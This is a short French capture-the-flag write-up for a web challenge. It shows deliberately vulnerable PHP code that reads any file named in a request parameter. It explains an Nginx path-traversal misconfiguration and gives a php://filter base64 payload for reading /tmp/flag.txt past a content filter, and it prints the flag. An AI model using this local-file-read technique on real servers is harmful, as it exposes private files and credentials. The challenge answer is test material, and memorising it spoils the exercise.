Access

Catégorie: Web Difficulté: - Flag: CTFREI{b1g_w3b_ch4ll?}

Challenge

Description


Je viens d'apprendre ce qu'était Nginx, j'espère que j'ai pas laissé de vuln connue liée à Nginx comme une typique misconfiguration...

Enfin bon, dans tous les cas mon flag devrait être safe je pense !

ATTENTION: PAS BESOIN ET INTERDICTION D'UTILISER DES OUTILS DE SCAN/FUZZING (nmap, ffuf, gobuster, dirb, etc). Leur utilisation risque de vous faire bannir temporairement du challenge !

Attention, le format du flag est bien: CTFREI{flag_ici}, avec CTFREI écrit en majuscules.

Solution

Utilisons Burp Suite pour faciliter l'étude des requêtes réseau.

Le challenge parle de mauvaises configurations NGINX, la plus connue consiste à ajouter ".." à la fin d'un fichier duquel nous ne sommes pas censés pouvoir accéder.

On découvre le dossier 1mp0ss1bl3_p4th_t0_gu3ss à la racine. Dans celui-ci, il y a un index.php et son code source nous est montré

$file = $_GET['file'] ?? 'index.php';
// Je dis ça je dis rien mais mon flag est tranquille au chaud dans /tmp/flag.txt :p

if ($file === 'index.php'){
    echo file_get_contents($file);
    echo 'Hmm, que faire ici ?';
} else {
    if ($file === 'flag.txt' || $file === '/tmp/flag.txt') {
        echo 'Bien tenté, mais j\'ai pas dit que je t\'avais autorisé à voir mon fichier "flag.txt"...';
        exit;
    }

    $content = file_get_contents($file);
    if (preg_match('/CTFREI/', $content)) {
        echo 'Accès refusé ! Tu n\'auras pas mon flag si facilement !';
    } else {
        echo $content;
    }
}

On peut lire un fichier à l'aide du paramètre file mais nous ne pouvons pas passer directement /tmp/flag.txt et le fichier que nous lisons ne peut pas contenir le mot CTFREI.

Il faut passer par un wrapper PHP, pour encoder en base64 par exemple. Voici une solution :

php://filter/convert.base64-encode/resource=/tmp/flag.txt

Dernière mise à jour

Cet article vous a-t-il été utile ?